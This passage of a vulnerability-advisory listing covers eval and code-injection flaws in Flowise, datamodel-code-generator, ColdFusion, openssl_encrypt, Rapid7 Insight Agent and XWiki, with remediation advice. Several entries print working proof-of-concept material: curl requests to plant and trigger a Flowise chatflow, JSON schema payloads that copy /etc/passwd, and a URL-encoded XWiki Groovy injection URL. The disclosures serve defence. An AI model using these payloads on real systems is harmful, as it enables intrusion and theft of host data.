flow.\n\n#### End-to-end against a live Flowise instance\n\nThe local PoC above proves the validator-bypass + sandbox-escape primitive.\nTo reach the same primitive over HTTP against a deployed Flowise, two\nrequests suffice:\n\n```bash\n# Step 1 \u2014 authenticated chatflow author (any user with chatflows:create\n# in OSS, this is typically every registered user) plants the flow.\n# evil-csvagent-flow.json is a chatflow whose csvAgent node has\n# inputs.csvFile = \"data:text/csv;base64,A,\u003ccomma-free python payload\u003e,IGNORED\"\ncurl -X POST https://target/api/v1/chatflows \\\n -H \"Authorization: Bearer \u003capi-key with chatflows:create\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -d @evil-csvagent-flow.json\n# \u2192 returns chatflow id, e.g. \"\u003cflow-uuid\u003e\"\n\n# Step 2 \u2014 anyone, no auth (the route is whitelisted at\n# packages/server/src/utils/constants.ts:12) triggers execution:\ncurl -X POST https://target/api/v1/prediction/\u003cflow-uuid\u003e \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"question\":\"go\"}\u0027\n```\n\nStep 1 is the only authenticated step; Step 2 is unauthenticated when\n`chatflow.apikeyid` is unset (the default for newly created chatflows).\n\n### Impact\n\n- **Class:** Remote Code Execution via Python-template injection escaping the\n Pyodide sandbox through the `js` bridge.\n- **Affected:** every Flowise deployment that exposes a chatflow containing a\n `CSVAgent` node where `csvFile` is operator-supplied (i.e., overridable via\n `nodeOverrides` for the API caller, or planted by any user with chatflow\n edit permission).\n- **Prerequisites:** one user with `chatflows:create` / `chatflows:update` /\n `agentflows:create` / `agentflows:update` to plant the chatflow once. The\n trigger is unauthenticated when the chatflow has no `apikeyid` set (the\n default for newly created chatflows).\n- **Result:** arbitrary OS-command execution as the Flowise process. Direct\n access to Flowise\u0027s encrypted-credentials key file, the entire database,\n the host filesystem, and any network resource the host can reach.\n\n### Metadata\n\n- **Affected versions:** Confirmed at commit\n `a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d` (main, 2026-04-28) and at\n `flowise@3.1.2`. The vulnerable code (`splitDataURI.pop()` + template-string\n interpolation) appears unchanged across this range. Earlier 3.x versions\n with the same data-URI parsing pattern are also believed to be affected,\n but I did not verify each historical tag.\n- **Fixed version:** Unpatched at the audited commit.\n- **CVSS v3.1:**\n `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` \u2192 Base score **9.9\n (Critical)**.\n - AV:N \u2014 public `/api/v1/prediction/:id` trigger.\n - AC:L \u2014 deterministic; no race / timing.\n - PR:L \u2014 one user with `chatflows:create` (or equivalent) plants the\n chatflow. In OSS deployments, any registered user typically has this.\n - UI:N \u2014 no user interaction required at trigger time.\n - S:C \u2014 Pyodide\u0027s WASM/Python sandbox is the intended security authority\n for this code path; the `js` bridge escape and the validator bypass break\n out to the Node host process.\n - C:H / I:H / A:H \u2014 full host compromise.\n- **CWE:** CWE-94 (Improper Control of Generation of Code: \u0027Code Injection\u0027);\n more specifically CWE-95 (Improper Neutralization of Directives in\n Dynamically Evaluated Code: \u0027Eval Injection\u0027).\n\n### Remediation\n\n**Maintainer fix (preferred \u2014 eliminates string-interpolation entirely):**\npass the base64 value through Pyodide\u0027s `globals.set` API instead of\ntemplate-string interpolation. In `packages/components/nodes/agents/CSVAgent/CSVAgent.ts`,\nreplace the construction at lines 156\u2013171 with something like:\n\n```ts\nconst pyodide = await LoadPyodide()\npyodide.globals.set(\u0027base64_string\u0027, base64String)\nconst code = `import pandas as pd\nimport base64\nfrom io import StringIO\nimport json\n\ndecoded_data = base64.b64decode(base64_string)\n\ncsv_data = StringIO(decoded_data.decode(\u0027utf-8\u0027))\n\ndf = pd.${customReadCSVFunc}\nmy_dict = df.dtypes.astype(str).to_dict()\nprint(my_dict)\njson.dumps(my_dict)`\ndataframeColDict = await pyodide.runPythonAsync(code)\n```\n\nThis keeps the value as a Python `str` object that never enters the source\ntext. Apply the same change to `AirtableAgent.ts` if it follows the same\npattern.\n\n**Defense in depth (recommended as well):**\n1. Validate `base64String` against `^[A-Za-z0-9+/=]*$` before interpolation\n (rejects every escape character used in the PoC).\n2. Disable Pyodide\u0027s `js` module on load. Pyodide supports `loadPyodide({ jsglobals: {} })`\n or the `js`-module-removal recipe; either prevents the bridge to\n `globalThis.process` on Node.js. Apply in\n `packages/components/nodes/agents/CSVAgent/core.ts:LoadPyodide`.\n3. Run `validatePythonCodeForDataFrame` (or a stricter equivalent) over the\n bootstrap template, not only over the LLM-emitted code. The current\n ordering inverts the trust assumption.\n4. Add a positive allow-list to `validateCustomReadCSVFunction` enumerating\n only safe pandas readers (e.g., `read_csv` and column-typed forms);\n exclude `read_pickle`, `read_html`, `read_xml`, `read_parquet`,\n `read_orc`, `read_feather`, `read_json` (these are independently\n exploitable \u2014 see S2/S3 in the submission roadmap).\n\n**User mitigations until a patch ships:**\n- Set `chatflow.apikeyid` on every chatflow that uses CSVAgent so\n `validateFlowAPIKey` enforces auth on `/api/v1/prediction/:id`.\n- Set `chatbotConfig.allowedOrigins` to a strict list (note: this only\n defends against browser callers, not curl/server-side).\n- Restrict `chatflows:create` / `agentflows:create` permissions to trusted\n users only.\n- Where possible, strip `csvFile` from the `nodeOverrides` allow-list on\n affected chatflows so it cannot be supplied at prediction time.",
"id": "GHSA-4j8x-x6v7-w9rq",
"modified": "2026-08-04T17:43:48Z",
"published": "2026-08-04T17:43:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-4j8x-x6v7-w9rq"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/pull/6499"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Flowise: RCE via CSVAgent csvFile data URI base64 segment is interpolated into Python source without validation"
}
GHSA-4Q3V-82H7-V8RH
Vulnerability from github – Published: 2026-09-08 21:34 – Updated: 2026-09-08 21:34ColdFusion is affected by an Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
{
"affected": [],
"aliases": [
"CVE-2026-48273"
],
"database_specific": {
"cwe_ids": [
"CWE-95"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-08T20:17:33Z",
"severity": "CRITICAL"
},
"details": "ColdFusion is affected by an Improper Neutralization of Directives in Dynamically Evaluated Code (\u0027Eval Injection\u0027) vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.",
"id": "GHSA-4q3v-82h7-v8rh",
"modified": "2026-09-08T21:34:20Z",
"published": "2026-09-08T21:34:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48273"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/coldfusion/apsb26-119.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5578-W22F-PFX9
Vulnerability from github – Published: 2026-07-28 21:40 – Updated: 2026-07-28 21:40Summary
A malicious input schema (OpenAPI / JSON Schema) can execute arbitrary Python code on the machine that imports the generated model. The x-python-import and customTypePath schema extensions flow, unsanitized, into the import statements datamodel-code-generator emits. A newline embedded in the extension value breaks out of the from … import … line and injects an attacker-controlled statement at module scope, which runs at import time. This is an unauthenticated, schema-content–driven remote code execution against any consumer of the generated code (e.g. arbitrary file read,the PoC exfiltrates /etc/passwd). It survives the v0.61.0 security release that fixed the related x-python-type, default_factory, GraphQL-union-description, and validators sinks those fixes did not cover this sibling path.
Details
The sink is Import.from_full_path and Imports.create_line:
src/datamodel_code_generator/imports.py:35—from_full_path()only doesclass_path.split(".")and preserves every other character, including newlines:python @classmethod @lru_cache def from_full_path(cls, class_path: str) -> Import: split_class_path: list[str] = class_path.split(".") return cls(import_=split_class_path[-1], from_=".".join(split_class_path[:-1]) or None)src/datamodel_code_generator/imports.py:64—create_line()renders the result verbatim:python def create_line(self, from_: str | None, imports: set[str]) -> str: if from_: return f"from {from_} import {', '.join(self._set_alias(from_, imports))}" return "\n".join(f"import {i}" for i in self._set_alias(from_, imports))
There is no check that the path segments are Python identifiers, contrast validators._validate_dotted_python_identifier_path, which the same v0.61.0 release added for the validators config, and types.is_python_type_annotation, added for x-python-type. The two extensions below were left unguarded.
Two schema-controlled, default-config entry points reach this sink:
x-python-import—src/datamodel_code_generator/parser/jsonschema.py:1851-1858(get_ref_data_type):python x_python_import = ref_schema.extras.get("x-python-import") if isinstance(x_python_import, dict): module = x_python_import.get("module") type_name = x_python_import.get("name") if module and type_name: full_path = f"{module}.{type_name}" import_ = Import.from_full_path(full_path) self.imports.append(import_)customTypePath— declared atsrc/datamodel_code_generator/parser/jsonschema.py:438, consumed at:4118and:4365viaget_data_type_from_full_path(custom_type_path, is_custom_type=True)→ the sameImport.from_full_pathsink.
Mechanism. With name = "getcwd\nprint(...)", full_path = "os.getcwd\nprint(...)". from_full_path splits only on ., so (provided the injected statement contains no .) it yields from_="os" and import_="getcwd\nprint(...)". create_line then emits:
from os import getcwd
print(...) # ← attacker statement at module scope, executes on import
The dot-split is the only constraint on the payload; it is trivially satisfied with attribute-free builtins (e.g. print(*open('/etc/passwd'), file=open('/tmp/loot','w'), sep='', end='') reads and exfiltrates a file using no .).
None of the six v0.61.0 fix commits (aec47bc4, b73abb5c, 17fc235e, 2c93c9b7, a43d0290, 5fdba4a0) touched x-python-import, customTypePath, or imports.py; imports.py was last modified ~5 months before the release. This is therefore an incomplete fix: the maintainer hardened sibling schema-controlled type/extension sinks but missed these two paths into the same import-generation code.
PoC
Self contained POC available here: https://gist.github.com/thegr1ffyn/c3abb41bb89c164daa0d5f2c60b5328b
Default invocation, no special flags, on the patched release (commit 227ffe85ee2dcfc79336fbb14ad64c02a166b65a, v0.61.0).
payload_a.json:
{
"type": "object",
"title": "Root",
"required": ["f"],
"properties": { "f": { "$ref": "#/$defs/Evil" } },
"$defs": {
"Evil": {
"type": "object",
"x-python-import": {
"module": "os",
"name": "getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_xpi_loot','w'),sep='',end='')"
}
}
}
}
Generate and import:
datamodel-codegen --input payload_a.json --input-file-type jsonschema --output model.py
python -c "import model"
Generated model.py (verbatim, the breakout sits at module scope):
from __future__ import annotations
from os import getcwd
print(*open('/etc/passwd'), file=open('/tmp/dmcg_xpi_loot', 'w'), sep='', end='')
from os import getcwd
print(*open('/etc/passwd'), file=open('/tmp/dmcg_xpi_loot', 'w'), sep='', end='')
from pydantic import BaseModel
...
Importing model reads /etc/passwd and writes an exact copy to /tmp/dmcg_xpi_loot:
$ head -1 /tmp/dmcg_xpi_loot
root:x:0:0:root:/root:/bin/bash
Confirmed under both the default output (pydantic v1) and --output-model-type pydantic_v2.BaseModel. The customTypePath variant reproduces identically:
{ "type":"object","title":"Root","required":["f"],
"properties":{ "f":{ "type":"object",
"customTypePath":"os.getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_ctp_loot','w'),sep='',end='')" }}}
A benign control (x-python-import: {"module":"decimal","name":"Decimal"}) produces clean from decimal import Decimal and no execution. A complete self-contained validation harness, run.sh plus control.json, payload_a.json, payload_b.json, is included alongside this advisory (CONTROL clean + three payloads firing + verdict + cleanup).
Suggested fix. Validate every dotted segment of module, name, and customTypePath as a Python identifier before building the import (reuse validators._validate_dotted_python_identifier_path), and/or reject non-identifier paths centrally inside Import.from_full_path.
Impact
Arbitrary code execution at model-import time, driven by attacker-controlled schema content under the default configuration. Anyone who runs datamodel-code-generator on an untrusted or third-party schema, multi-tenant code-generation services, CI pipelines that ingest external specs, or a developer generating models from a public/vendor OpenAPI/JSON-Schema document, and then imports (or whose tooling imports) the generated module, executes the attacker's code with the importing process's privileges. The PoC demonstrates arbitrary local file read (/etc/passwd); the same primitive yields full RCE.
Maintainer status
Confirmed by maintainer review and regression tests. A private fix PR is open and should be merged before publishing this advisory: https://github.com/koxudaxi/datamodel-code-generator-ghsa-5578-w22f-pfx9/pull/1
Fix summary: validate x-python-import and customTypePath values as dotted Python identifier paths before using them in generated imports or type paths.
Release status: not fixed in 0.63.0; customTypePath was introduced in 0.11.6, so affected versions are >= 0.11.6, <= 0.63.0. This advisory should remain unpublished until the private PR is merged and a patched release is available.
Validation: uv run --group test --extra http pytest tests/main/jsonschema/test_main_jsonschema.py tests/parser/test_jsonschema.py passed locally; uv run --group fix ruff check src/datamodel_code_generator/parser/jsonschema.py tests/main/jsonschema/test_main_jsonschema.py passed.
Submitted by: Hamza Haroon (thegr1ffyn)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.63.0"
},
"package": {
"ecosystem": "PyPI",
"name": "datamodel-code-generator"
},
"ranges": [
{
"events": [
{
"introduced": "0.11.6"
},
{
"fixed": "0.64.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55415"
],
"database_specific": {
"cwe_ids": [
"CWE-94",
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-28T21:40:20Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "#### Summary\n\nA malicious input schema (OpenAPI / JSON Schema) can execute arbitrary Python code on the machine that **imports** the generated model. The `x-python-import` and `customTypePath` schema extensions flow, unsanitized, into the `import` statements datamodel-code-generator emits. A newline embedded in the extension value breaks out of the `from \u2026 import \u2026` line and injects an attacker-controlled statement at module scope, which runs at import time. This is an unauthenticated, schema-content\u2013driven remote code execution against any consumer of the generated code (e.g. arbitrary file read,the PoC exfiltrates `/etc/passwd`). It survives the v0.61.0 security release that fixed the related `x-python-type`, `default_factory`, GraphQL-union-description, and `validators` sinks those fixes did not cover this sibling path.\n\n#### Details\n\nThe sink is `Import.from_full_path` and `Imports.create_line`:\n\n- `src/datamodel_code_generator/imports.py:35` \u2014 `from_full_path()` only does `class_path.split(\".\")` and preserves every other character, **including newlines**:\n ```python\n @classmethod\n @lru_cache\n def from_full_path(cls, class_path: str) -\u003e Import:\n split_class_path: list[str] = class_path.split(\".\")\n return cls(import_=split_class_path[-1], from_=\".\".join(split_class_path[:-1]) or None)\n ```\n- `src/datamodel_code_generator/imports.py:64` \u2014 `create_line()` renders the result verbatim:\n ```python\n def create_line(self, from_: str | None, imports: set[str]) -\u003e str:\n if from_:\n return f\"from {from_} import {\u0027, \u0027.join(self._set_alias(from_, imports))}\"\n return \"\\n\".join(f\"import {i}\" for i in self._set_alias(from_, imports))\n ```\n\nThere is no check that the path segments are Python identifiers, contrast `validators._validate_dotted_python_identifier_path`, which the same v0.61.0 release added for the `validators` config, and `types.is_python_type_annotation`, added for `x-python-type`. The two extensions below were left unguarded.\n\nTwo schema-controlled, **default-config** entry points reach this sink:\n\n1. **`x-python-import`** \u2014 `src/datamodel_code_generator/parser/jsonschema.py:1851-1858` (`get_ref_data_type`):\n ```python\n x_python_import = ref_schema.extras.get(\"x-python-import\")\n if isinstance(x_python_import, dict):\n module = x_python_import.get(\"module\")\n type_name = x_python_import.get(\"name\")\n if module and type_name:\n full_path = f\"{module}.{type_name}\"\n import_ = Import.from_full_path(full_path)\n self.imports.append(import_)\n ```\n2. **`customTypePath`** \u2014 declared at `src/datamodel_code_generator/parser/jsonschema.py:438`, consumed at `:4118` and `:4365` via `get_data_type_from_full_path(custom_type_path, is_custom_type=True)` \u2192 the same `Import.from_full_path` sink.\n\n**Mechanism.** With `name = \"getcwd\\nprint(...)\"`, `full_path = \"os.getcwd\\nprint(...)\"`. `from_full_path` splits only on `.`, so (provided the injected statement contains no `.`) it yields `from_=\"os\"` and `import_=\"getcwd\\nprint(...)\"`. `create_line` then emits:\n```python\nfrom os import getcwd\nprint(...) # \u2190 attacker statement at module scope, executes on import\n```\nThe dot-split is the only constraint on the payload; it is trivially satisfied with attribute-free builtins (e.g. `print(*open(\u0027/etc/passwd\u0027), file=open(\u0027/tmp/loot\u0027,\u0027w\u0027), sep=\u0027\u0027, end=\u0027\u0027)` reads and exfiltrates a file using no `.`).\n\nNone of the six v0.61.0 fix commits (`aec47bc4`, `b73abb5c`, `17fc235e`, `2c93c9b7`, `a43d0290`, `5fdba4a0`) touched `x-python-import`, `customTypePath`, or `imports.py`; `imports.py` was last modified ~5 months before the release. This is therefore an **incomplete fix**: the maintainer hardened sibling schema-controlled type/extension sinks but missed these two paths into the same import-generation code.\n\n#### PoC\nSelf contained POC available here: https://gist.github.com/thegr1ffyn/c3abb41bb89c164daa0d5f2c60b5328b\n\nDefault invocation, no special flags, on the patched release (commit `227ffe85ee2dcfc79336fbb14ad64c02a166b65a`, v0.61.0).\n\n`payload_a.json`:\n```json\n{\n \"type\": \"object\",\n \"title\": \"Root\",\n \"required\": [\"f\"],\n \"properties\": { \"f\": { \"$ref\": \"#/$defs/Evil\" } },\n \"$defs\": {\n \"Evil\": {\n \"type\": \"object\",\n \"x-python-import\": {\n \"module\": \"os\",\n \"name\": \"getcwd\\nprint(*open(\u0027/etc/passwd\u0027),file=open(\u0027/tmp/dmcg_xpi_loot\u0027,\u0027w\u0027),sep=\u0027\u0027,end=\u0027\u0027)\"\n }\n }\n }\n}\n```\nGenerate and import:\n```bash\ndatamodel-codegen --input payload_a.json --input-file-type jsonschema --output model.py\npython -c \"import model\"\n```\nGenerated `model.py` (verbatim, the breakout sits at module scope):\n```python\nfrom __future__ import annotations\n\nfrom os import getcwd\n\nprint(*open(\u0027/etc/passwd\u0027), file=open(\u0027/tmp/dmcg_xpi_loot\u0027, \u0027w\u0027), sep=\u0027\u0027, end=\u0027\u0027)\nfrom os import getcwd\n\nprint(*open(\u0027/etc/passwd\u0027), file=open(\u0027/tmp/dmcg_xpi_loot\u0027, \u0027w\u0027), sep=\u0027\u0027, end=\u0027\u0027)\nfrom pydantic import BaseModel\n...\n```\nImporting `model` reads `/etc/passwd` and writes an exact copy to `/tmp/dmcg_xpi_loot`:\n```\n$ head -1 /tmp/dmcg_xpi_loot\nroot:x:0:0:root:/root:/bin/bash\n```\nConfirmed under both the default output (pydantic v1) and `--output-model-type pydantic_v2.BaseModel`. The `customTypePath` variant reproduces identically:\n```json\n{ \"type\":\"object\",\"title\":\"Root\",\"required\":[\"f\"],\n \"properties\":{ \"f\":{ \"type\":\"object\",\n \"customTypePath\":\"os.getcwd\\nprint(*open(\u0027/etc/passwd\u0027),file=open(\u0027/tmp/dmcg_ctp_loot\u0027,\u0027w\u0027),sep=\u0027\u0027,end=\u0027\u0027)\" }}}\n```\nA benign control (`x-python-import: {\"module\":\"decimal\",\"name\":\"Decimal\"}`) produces clean `from decimal import Decimal` and no execution. A complete self-contained validation harness, `run.sh` plus `control.json`, `payload_a.json`, `payload_b.json`, is included alongside this advisory (CONTROL clean + three payloads firing + verdict + cleanup).\n\n**Suggested fix.** Validate every dotted segment of `module`, `name`, and `customTypePath` as a Python identifier before building the import (reuse `validators._validate_dotted_python_identifier_path`), and/or reject non-identifier paths centrally inside `Import.from_full_path`.\n\n#### Impact\n\nArbitrary code execution at model-import time, driven by attacker-controlled schema content under the default configuration. Anyone who runs datamodel-code-generator on an untrusted or third-party schema, multi-tenant code-generation services, CI pipelines that ingest external specs, or a developer generating models from a public/vendor OpenAPI/JSON-Schema document, and then imports (or whose tooling imports) the generated module, executes the attacker\u0027s code with the importing process\u0027s privileges. The PoC demonstrates arbitrary local file read (`/etc/passwd`); the same primitive yields full RCE.\n\n### Maintainer status\n\nConfirmed by maintainer review and regression tests. A private fix PR is open and should be merged before publishing this advisory: https://github.com/koxudaxi/datamodel-code-generator-ghsa-5578-w22f-pfx9/pull/1\n\nFix summary: validate `x-python-import` and `customTypePath` values as dotted Python identifier paths before using them in generated imports or type paths.\n\nRelease status: not fixed in `0.63.0`; `customTypePath` was introduced in `0.11.6`, so affected versions are `\u003e= 0.11.6, \u003c= 0.63.0`. This advisory should remain unpublished until the private PR is merged and a patched release is available.\n\nValidation: `uv run --group test --extra http pytest tests/main/jsonschema/test_main_jsonschema.py tests/parser/test_jsonschema.py` passed locally; `uv run --group fix ruff check src/datamodel_code_generator/parser/jsonschema.py tests/main/jsonschema/test_main_jsonschema.py` passed.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
"id": "GHSA-5578-w22f-pfx9",
"modified": "2026-07-28T21:40:20Z",
"published": "2026-07-28T21:40:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/koxudaxi/datamodel-code-generator/security/advisories/GHSA-5578-w22f-pfx9"
},
{
"type": "WEB",
"url": "https://github.com/koxudaxi/datamodel-code-generator/commit/577d49569c2254c371a97e495020ae2238a73b84"
},
{
"type": "PACKAGE",
"url": "https://github.com/koxudaxi/datamodel-code-generator"
},
{
"type": "WEB",
"url": "https://github.com/koxudaxi/datamodel-code-generator/releases/tag/0.64.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "datamodel-code-generator vulnerable to code injection via `x-python-import` / `customTypePath` in generated import statements"
}
GHSA-56H4-P63W-W4WM
Vulnerability from github – Published: 2026-08-13 12:31 – Updated: 2026-09-04 21:31Flowise before 3.1.3 contains a sandbox escape vulnerability in the vm2 JavaScript sandbox that allows authenticated users to execute arbitrary code by exploiting moment locale validation bypass. Attackers can craft a fake String object with a match function that bypasses path traversal checks to load and execute malicious JavaScript files stored in the document store outside the sandbox.
{
"affected": [],
"aliases": [
"CVE-2026-73602"
],
"database_specific": {
"cwe_ids": [
"CWE-95"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-13T12:17:24Z",
"severity": "CRITICAL"
},
"details": "Flowise before 3.1.3 contains a sandbox escape vulnerability in the vm2 JavaScript sandbox that allows authenticated users to execute arbitrary code by exploiting moment locale validation bypass. Attackers can craft a fake String object with a match function that bypasses path traversal checks to load and execute malicious JavaScript files stored in the document store outside the sandbox.",
"id": "GHSA-56h4-p63w-w4wm",
"modified": "2026-09-04T21:31:35Z",
"published": "2026-08-13T12:31:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-rqh4-rxw3-93rp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73602"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/commit/4211bfc8f15746be4019bba557e29a7ba83d54c5"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/flowise-before-sandbox-escape-to-rce"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-5CP4-G2W4-GM8P
Vulnerability from github – Published: 2026-08-17 12:32 – Updated: 2026-08-18 15:31openssl_encrypt versions before 1.4.0 contain a sandbox escape vulnerability in IsolatedPluginExecutor that exposes Python type objects in restricted exec() builtins. Attackers can traverse the Python class hierarchy via class.mro.subclasses() to access system functions and execute arbitrary OS commands.
{
"affected": [],
"aliases": [
"CVE-2026-74899"
],
"database_specific": {
"cwe_ids": [
"CWE-95"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-17T11:16:44Z",
"severity": "CRITICAL"
},
"details": "openssl_encrypt versions before 1.4.0 contain a sandbox escape vulnerability in IsolatedPluginExecutor that exposes Python type objects in restricted exec() builtins. Attackers can traverse the Python class hierarchy via __class__.__mro__.__subclasses__() to access system functions and execute arbitrary OS commands.",
"id": "GHSA-5cp4-g2w4-gm8p",
"modified": "2026-08-18T15:31:29Z",
"published": "2026-08-17T12:32:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jahlives/openssl_encrypt/security/advisories/GHSA-m25m-ggxg-239c"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-43jx-gxq4-jpjc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-74899"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openssl-encrypt-before-sandbox-escape-via-type-hierarchy"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-5GQP-C836-45CR
Vulnerability from github – Published: 2026-04-08 18:34 – Updated: 2026-04-08 18:34An eval() injection vulnerability in the Rapid7 Insight Agent beaconing logic for Linux versions could theoretically allow an attacker to achieve remote code execution as root via a crafted beacon response. Because the Agent uses mutual TLS (mTLS) to verify commands from the Rapid7 Platform, it is unlikely that the eval() function could be exploited remotely without prior, highly privileged access to the backend platform.
{
"affected": [],
"aliases": [
"CVE-2026-4837"
],
"database_specific": {
"cwe_ids": [
"CWE-95"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-08T17:21:24Z",
"severity": "MODERATE"
},
"details": "An eval() injection vulnerability in the Rapid7 Insight Agent beaconing logic for Linux versions could theoretically allow an attacker to achieve remote code execution as root via a crafted beacon response. Because the Agent uses mutual TLS (mTLS) to verify commands from the Rapid7 Platform, it is unlikely that the eval() function could be exploited remotely without prior, highly privileged access to the backend platform.",
"id": "GHSA-5gqp-c836-45cr",
"modified": "2026-04-08T18:34:07Z",
"published": "2026-04-08T18:34:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4837"
},
{
"type": "WEB",
"url": "https://docs.rapid7.com/insight/release-notes-2026-april/#improvements-and-fixes"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5J7G-CF6R-G2H7
Vulnerability from github – Published: 2022-11-21 22:36 – Updated: 2022-11-21 22:36Impact
Any user with view rights on commonly accessible documents including the icon picker macro can execute arbitrary Groovy, Python or Velocity code in XWiki due to improper neutralization of the macro parameters of the icon picker macro.
The URL <server>/xwiki/bin/view/Main?sheet=CKEditor.HTMLConverter&language=en&sourceSyntax=xwiki%252F2.1&stripHTMLEnvelope=true&fromHTML=false&toHTML=true&text=%7B%7BiconPicker%20id%3D%22'%3C%2Fscript%3E%7B%7B%2Fhtml%7D%7D%7B%7Bcache%7D%7D%7B%7Bgroovy%7D%7Dprintln(%2FHellofromIconPickerId%2F)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fcache%7D%7D%22%20class%3D%22'%3C%2Fscript%3E%7B%7B%2Fhtml%7D%7D%7B%7Bcache%7D%7D%7B%7Bgroovy%7D%7Dprintln(%2FHellofromIconPickerClass%2F)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fcache%7D%7D%22%2F%7D%7D demonstrates the issue (replace <server> by the URL to your XWiki installation). If the output HellofromIconPickerId or HellofromIconPickerClass is visible, the XWiki installation is vulnerable (normally, all output should be contained in a script-tag and thus invisible).
Patches
The problem has been patched in XWiki 13.10.7, 14.5 and 14.4.2.
Workarounds
The patch can be manually applied by editing IconThemesCode.IconPickerMacro in the object editor. The whole document can also be replaced by the current version by importing the document from the XAR archive of a fixed version as the only changes to the document have been security fixes and small formatting changes.
References
- https://github.com/xwiki/xwiki-platform/commit/47eb8a5fba550f477944eb6da8ca91b87eaf1d01
- https://jira.xwiki.org/browse/XWIKI-19805
For more information
If you have any questions or comments about this advisory: * Open an issue in Jira XWiki.org * Email us at Security Mailing List
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-icon-ui"
},
"ranges": [
{
"events": [
{
"introduced": "6.4-milestone-2"
},
{
"fixed": "13.10.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-icon-ui"
},
"ranges": [
{
"events": [
{
"introduced": "14.0.0"
},
{
"fixed": "14.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-41931"
],
"database_specific": {
"cwe_ids": [
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2022-11-21T22:36:34Z",
"nvd_published_at": "2022-11-23T20:15:00Z",
"severity": "CRITICAL"
},
